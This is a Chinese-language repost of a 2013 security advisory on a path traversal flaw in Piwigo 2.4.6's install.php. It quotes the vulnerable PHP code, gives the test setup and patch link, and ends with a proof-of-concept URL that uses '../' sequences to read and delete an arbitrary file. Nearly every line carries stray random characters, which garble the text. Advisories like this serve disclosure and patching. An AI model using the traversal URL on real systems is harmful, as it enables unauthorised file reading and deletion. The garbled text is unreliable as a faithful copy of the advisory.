Piwigo是用PHP编写的相册脚本。3 J4 [% b; |: W: |2 O7 |/ G8 J
0 n3 r0 F7 c- t( R1 B6 q. F) A: A' ~
Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值,在实现上存在安全漏洞,攻击者可利用这些漏洞查看受影响计算机上的任意文件,删除受影响应用上下文内的任意文件。) j9 Y8 o+ u3 D; K/ {; x8 X
====================================================================
, h5 s! [: c$ D* L( Q7 ?) y/install.php:( Q7 p' {+ L1 V L2 B- F
-------------( X; R% j+ J1 Y1 e. r
113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
; H( I* h- b$ o114: {. l0 `2 h7 J& [- e0 ^
115: $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];/ Y; K4 t' R" G1 w8 x# G- V5 p5 A4 `/ Z
116: header('Cache-Control: no-cache, must-revalidate');
& i+ B1 C0 }7 ^! c! f) z9 E117: header('Pragma: no-cache');
) }' P+ x' x, Z* F% P118: header('Content-Disposition: attachment; filename="database.inc.php"');- e6 S: J) M7 b# T9 Y( A8 f; a
119: header('Content-Transfer-Encoding: binary');0 L! Z! e- F) }1 o2 }
120: header('Content-Length: '.filesize($filename));/ V) `5 Q0 s' R: ]7 h0 ~
121: echo file_get_contents($filename);
5 S$ U: F% \( I& E, l& A/ G/ N122: unlink($filename);! }0 ?' q% H- b. v6 T( w) C
123: exit();! K5 o" z7 ~1 M- p
124: }9 U8 }) A! |9 e% ?: `+ n/ Q7 s, X
====================================================================
' l& U4 z/ L7 Q }# Z
! P( z }3 B) w$ ^4 j) V4 ?( rTested on: Microsoft Windows 7 Ultimate SP1 (EN)
, }9 K1 Z& U* P3 E5 K3 p Apache 2.4.2 (Win32)4 O* x- f% G' H4 a9 U/ c
PHP 5.4.40 r, W& z- d" E/ t' Q
MySQL 5.5.25a
; `1 q& ^- Q" D% Z4 r9 `) ^! X / k! U# m( `6 n1 @6 ~" ^
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
+ D# F1 |4 y$ z7 z; n" E& Z @zeroscience
2 E1 n+ _9 k7 \1 }, L! |. g3 i % a* Y1 N1 z1 G$ M+ \, P
Advisory ID: ZSL-2013-5127
' i, f* z! D# M6 v9 e aAdvisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php" G U* K2 v1 M
Vendor Patch: http://piwigo.org/bugs/view.php?id=2843/ |# _& N3 W# c
5 ], A1 N! i' ~7 G0 C& K15.02.20139 }9 p+ s; x! q$ \, u6 k
/ Q9 B) ~+ M; u4 Y--5 ?" T0 Q5 ^. M" `2 G( D% ~
http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt
/ z2 w3 I# a d
2 b) G# c2 O3 j$ [' y, r Z& z |